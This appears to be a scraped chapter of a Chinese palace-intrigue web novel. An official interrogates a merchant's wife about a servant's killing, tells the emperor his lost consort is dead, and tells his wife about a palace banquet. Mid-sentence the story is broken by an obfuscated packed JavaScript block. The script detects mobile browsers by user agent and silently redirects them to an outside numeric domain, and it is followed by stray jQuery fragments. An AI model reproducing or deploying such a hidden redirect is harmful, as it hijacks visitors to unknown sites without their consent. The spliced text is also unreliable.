默认冷灰
24号文字
方正启体

82. 斩

作者:十豆水本书字数:K更新时间:
    谢无痕意味深长地盯着她:“杜夫人可要想清楚了再回答。”


    柳氏本就心虚,被他这么一说,愈发惶惶不安,言辞也变得闪烁:“杜家在京城多年,期间进进出出的下人不计其数,少卿大人突然向妾身打听某个人,实不相瞒,妾身一时哪能想得起来。”


    谢无痕轻笑:“既然想不起来,杜夫人还这般确定?”


    柳氏陪着笑脸:“妾身这不是……怕惹麻烦么?”


    谢无痕的语气狠戾了几份:“若敢隐瞒实情,怕是麻烦会更大。”


    柳氏的面色白了又白,片刻后脸上重新堆起笑:“妾身不过一平头百姓,哪敢在少卿大人面前有所隐瞒,妾身这就回去问问府中的管家,让他帮忙想一想府中可否有过这么一个下人。”


    谢无痕将杜家市券甩到柳氏面前:“杜夫人不用回府问管家了,这市券上记录得清清楚楚,八年前的杜家后宅曾杖毙过一个叫‘德顺’的下人。”


    柳氏一哽,面上瞬间有些挂不住,“既然少卿大人都已经查到了,何……何故还要来问妾身……”


    谢无痕答得直接:“查到是一回事,杜夫人肯不肯讲实话又是另外一回事。”


    柳氏尴尬地笑了笑:“这都是年深日久的事,谁又能记得那样清楚?再说了,当时府中之事皆是由老爷在处置,妾身所知甚少。”


    这明显就是推托之辞。


    谢无痕垮下面色:“本官还没开始问话呢,杜夫人这意思是已答无可答了?”


    柳氏一脸难色:“妾身自是对少卿大人知无不言言无不尽,但……但若是妾身不知之事,妾身还能如何答?”


    谢无痕的语气不疾不徐:“今日本官就向杜夫人透个底,本官乃是奉皇命来查这桩事关‘德顺’的案子,但凡故意隐瞒者,必是杀头大罪,甚至诛连九族也说不定,今日本官在这大理寺前厅接待杜夫人便是留了些情面,若杜夫人执意不配合,那本官便只能将夫人请去刑讯室受刑了。”


    他紧跟着唤了声“吴生”。


    吴生应声进屋:“头儿,何事。”


    他沉声吩咐:“将杜夫人带去刑讯室。”


    柳氏成日攀附达官权贵,自是听说过那狱中的刑讯室究竟有多可怕,她吓得噗通跪地:“少卿大人饶命,妾……妾身从实招来,妾身确实记得府中曾有德顺这么个人,当日他还是老爷身边的小厮,因泡茶手艺好,颇得老爷的赏识。”


    谢无痕问:“他为何被杖毙在杜家后宅?”


    柳氏急忙摇头,继而举起手发誓:“他的死跟杜家没有关系。”


    “本官知道,是周元泽杖毙了他。”


    柳氏一哽,继而垂首,不吱声了。


    那周家岂是她这等平头百姓敢惹的,八年前杜家惹不起周家,八年后更惹不起了。


    谢无痕再次问:“周元泽为何要杖毙德顺?”


    柳氏苦求:“少卿大人您就别问了,那周元泽……妾身不敢说呀。”


    “你尽管说便是,有什么事由本官担着。”


    “事关周家,怕是连少卿大人自己……都不一定应付得了。”


    “本官身后可是皇上!”


    柳氏听到“皇上”的名头,面上振作了些许,深吸了一口气,这才将八年前周元泽如何强占苏雪儿、如何杖毙德顺,以及苏雪儿如何去敲登闻鼓而被割喉的经过细细讲来。


    末了她长叹一声,再次推托道:“杜家不过一商贾,处处被周家掣肘,老爷他……也实在是没有办法,只能处处顺着那周元泽。”


    谢无痕道了声:“你先起来吧。”


    柳氏闻言从地上爬起来,试探问:“妾身已将所知悉数道出,不知妾身能否回去了?”


    “还有一事。”


    “何……何事?”


    “德顺和苏雪儿双双亡故后,他们的女儿去了哪里?”


    柳氏怔了怔,一时不知该如何回答。


    当年杜玉庭曾向她透露过要杀掉那孩子灭口,事后她也确实没见过那孩子了,眼下这位少卿大人突然提起,她自是不敢如实道出。


    柳氏故作黯然地摇头:“妾身不知。”


    他反问:“你怎会不知?”


    “妾身乃杜家主母,平日要操持府中大小事务,哪有余力去关注一个奴仆所生孩子的去向?”


    “你总该知晓那孩子的名字吧?”


    柳氏仍是摇头:“实不相瞒,妾身连府中奴仆的名字都记不全。”


    末了又补一句:“妾身句句属实,绝没撒谎。”


    谢无痕瞟了她一眼,懒得再与她废话:“今日就到此为止,杜夫人先回去吧。”


    柳氏如蒙大赦,道了声“多谢少卿大人”后,脚底抹油般闪身出了大理寺。


    吴生不解:“头儿,就这么放过柳氏了?”


    谢无痕回:“事关宫中秘辛,既已获得需要的信息,自然不方便再深挖。”


    话刚落音,小六子在门口禀报:“头儿,宫里来人了,说皇上传您进宫。”


    谢无痕深吸一口气:“好,我马上动身。”


    看来,皇上这是等急了。


    谢无痕走进未央殿时,皇帝正在煮茶。


    休养了数日,他看上去精神了不少,面颊上甚至还有了些许红润。


    见谢无痕行礼,他忙摆了摆手:“快快平身,来,尝尝朕给你煮的茶。”


    谢无痕依令起身,坐到了茶台前下首的位置,接过茶水饮了两口,“香高,味醇,很是鲜甜清快。”


    皇帝抬眸看他,满腹感慨:“这叫祁门红茶,以前多福常煮给朕喝,后来多福离宫了,朕又学着她的手法一遍遍煮给自己喝,却总也煮不出她的味道来,子谕若喝过多福所煮的红茶,今日便不会这般满口称赞了。”


    他话里有话,显然是在询问事情进展。


    “臣怕是……没这个口福。”谢无痕自知不能再瞒下去,郑重起身,伏地而跪:“臣已查到多福娘娘的去向。”


    皇帝放下手中茶勺,心头隐隐不安,沉声问:“她在哪儿?”


    谢无痕深吸一口气,“多福娘娘已在八年前离世,还望皇上……节哀。”


    皇帝兀地握拳,握得双臂也微微发颤。


    但他面色不变,仿佛石化了一般,整座大殿也跟着陷入死寂。


    这似乎是意料中的结果,但当这个结果如利刃般落下来时,他仍是悲愤交加、无从接受。


    片刻后皇帝哑声问:“多福因何离世?”


    谢无痕随即将调查情况一一讲来,从多福落入杜家、被周元泽强占,再到太监顺子被杖杀、多福去敲登闻鼓被割喉,一桩桩一件件,净是残暴与血腥。


    皇帝蹙眉,激烈地咳起来。


    谢无痕担忧地唤了声“皇上”。


    皇帝朝他摆了摆手,总算止住了咳。


    “朕无碍。”他说。


    说完自行倒了一盏茶水,一口饮尽,饮完后缓了缓,仿佛又恢复到往日冷静


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16096828|172355||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的模样,“朕的那个孩子呢?”他问。


    谢无痕便将杜玉庭之死、刘达忠之死,以及周元泽遇刺情况一一道来,末了说:“公主应该就在京城,因考虑到她身份的影响,臣也不敢大张旗鼓地寻人,只能私下探查,但皇上放心,她应该有足够的能力保护好自己。”


    皇帝始终克制,除了咳嗽,面上不显露丁点情绪。


    他说:“公主定不知晓自己的身份,故尔才这般单枪匹马地去报仇,而为了报仇,她也定不会就此罢手,朕会给你一列卫队,你去暗中盯紧周元泽,一旦公主出现,要尽全力护好她,并将她带回来,见朕。”


    最后两个字他说得格外凝重,似蕴含着一个父亲所有的期待。


    谢无痕伏地郑重回:“臣谨遵皇上旨意。”


    “你先起来吧。”皇帝说。


    谢无痕依令起身。


    皇帝看着面前的虚空,沉声低语:“周家,是该动一动了。”


    若不是那周元泽,他的多福又怎会被杀?他的女儿又怎会如野草般流落民间?


    谢无痕问:“皇上打算如何动?”


    皇帝起身在殿内踱步,边走边说:“得一步步来。”


    随即唤了声“赵富”。


    赵公公应声进殿:“皇上,奴在。”


    皇帝吩咐:“五日后便是淑妃的生辰了,你去给内务府传道旨意,就说此次的生辰宴要大办,朝中文武百官皆可携家眷前来用宴。”


    赵富垂首应“是”,退出了殿门。


    皇帝转头看向谢无痕:“届时子谕也可携妻入宫,说起来朕还未见过子谕的娇妻呢。”


    谢无痕拱手回:“届时臣必带内子来拜见皇上。”


    皇帝“嗯”了一声,语气里带着些许疲惫:“今日朕乏了,你先退下吧。”他似不愿就周家之事深聊。


    谢无痕垂首应“是”,也转身退出殿门。


    回到春华院时已是暮色时分。


    苏荷正在闲间里布置晚膳,见他进屋,忙惊喜地迎上来:“夫君今日怎的回得这样早?”


    谢无痕温柔答:“公务告一段落,便直接回府了。”


    她试探问:“以后都不会这么忙了么?”


    若是不忙了,或许意味着他不会抓她了!


    他回:“不确定,暂时走一步看一步。”


    转而问:“娘子的胳膊还痛吗,可好些了?”


    苏荷微微一笑:“夫君放心,好多了。”


    谢无痕闻言朝门外唤了声“吴生”。


    吴生应声进屋,手里提着一条数尺长的大鱼:“少夫人,这是头儿回府途中给你买的柴鱼,说是营养丰富且能促进伤口愈合呢。”


    苏荷瞥了那鱼一眼,又瞥了谢无痕一眼,竟觉得有些想笑。


    哪有男人给女人送鱼的?


    但嘴上仍道了声“多谢夫君”。


    春兰忙上前接过鱼,也一言难尽地瞥了吴生一眼,转头出了屋子。


    吴生被瞥得一头雾水,提脚跟着出了屋。


    屋内只剩了夫妻二人。


    谢无痕将苏荷拉着坐下:“我想与娘子说一事。”


    苏荷问:“何事?”


    “五日后,宫中为淑妃娘娘举办生辰宴,娘子需与我一道进宫。”


    苏荷不解:“为何贫妾也要进宫?”


    他答:“皇上说了,文武百官皆需携家眷前往。”


    苏荷一顿,到时那周元泽岂不是也会进宫?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)